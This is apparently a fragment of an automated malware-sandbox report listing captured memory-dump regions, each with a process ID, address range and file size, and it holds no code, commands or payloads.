memory/1672-65-0x00007FFC55290000-0x00007FFC55485000-memory.dmpFilesize
2.0MB
-
memory/1672-67-0x00007FFC55290000-0x00007FFC55485000-memory.dmpFilesize
2.0MB
-
memory/1672-68-0x00007FFC55290000-0x00007FFC55485000-memory.dmpFilesize
2.0MB
-
memory/1672-81-0x00007FFC55290000-0x00007FFC55485000-memory.dmpFilesize
2.0MB
-
memory/1672-80-0x00007FFC55290000-0x00007FFC55485000-memory.dmpFilesize
2.0MB
-
memory/1672-69-0x00007FFC55290000-0x00007FFC55485000-memory.dmpFilesize
2.0MB
-
memory/1672-78-0x00007FFC55290000-0x00007FFC55485000-memory.dmpFilesize
2.0MB
-
memory/1672-77-0x00007FFC55290000-0x00007FFC55485000-memory.dmpFilesize
2.0MB
-
memory/1672-75-0x00007FFC129B0000-0x00007FFC129C0000-memory.dmpFilesize
64KB
-
memory/1672-76-0x00007FFC55290000-0x00007FFC55485000-memory.dmpFilesize
2.0MB
-
memory/1672-73-0x00007FFC55290000-0x00007FFC55485000-memory.dmpFilesize
2.0MB
-
memory/1672-71-0x00007FFC129B0000-0x00007FFC129C0000-memory.dmpFilesize
64KB
-
memory/1672-72-0x00007FFC55290000-0x00007FFC55485000-memory.dmpFilesize
2.0MB
-
memory/1672-70-0x00007FFC55290000-0x00007FFC55485000-memory.dmpFilesize
2.0MB
-
memory/3912-53-0x000002E8ED880000-0x000002E8ED890000-memory.dmpFilesize
64KB
-
memory/3912-52-0x000002E8ED880000-0x000002E8ED890000-memory.dmpFilesize
64KB
-
memory/3912-54-0x000002E8EE640000-0x000002E8EE684000-memory.dmpFilesize
272KB
-
memory/3912-51-0x00007FFC35BB0000-0x00007FFC36671000-memory.dmpFilesize
10.8MB
-
memory/3912-55-0x000002E8EE690000-0x000002E8EE706000-memory.dmpFilesize
472KB
-
memory/3912-103-0x00007FFC35BB0000-0x00007FFC36671000-memory.dmpFilesize
10.8MB
-
memory/3968-106-0x00007FFC35BB0000-0x00007FFC36671000-memory.dmpFilesize
10.8MB
-
memory/3968-36-0x00000265FEA90000-0x00000265FEAA0000-memory.dmpFilesize
64KB
-
memory/3968-29-0x00007FFC35BB0000-0x00007FFC36671000-memory.dmpFilesize
10.8MB
-
memory/3968-30-0x00000265FEA90000-0x00000265FEAA0000-memory.dmpFilesize
64KB
-
memory/4040-17-0x00007FFC37440000-0x00007FFC37F01000-memory.dmpFilesize
10.8MB
-
memory/4040-14-0x000002965B120000-0x000002965B130000-memory.dmpFilesize
64KB
-
memory/4040-11-0x000002965B0F0000-0x000002965B112000-memory.dmpFilesize
136KB
-
memory/4040-13-0x000002965B120000-0x000002965B130000-memory.dmpFilesize
64KB
-
memory/4040-12-0x00007FFC37440000-0x00007FFC37F01000-memory.dmpFilesize
10.8MB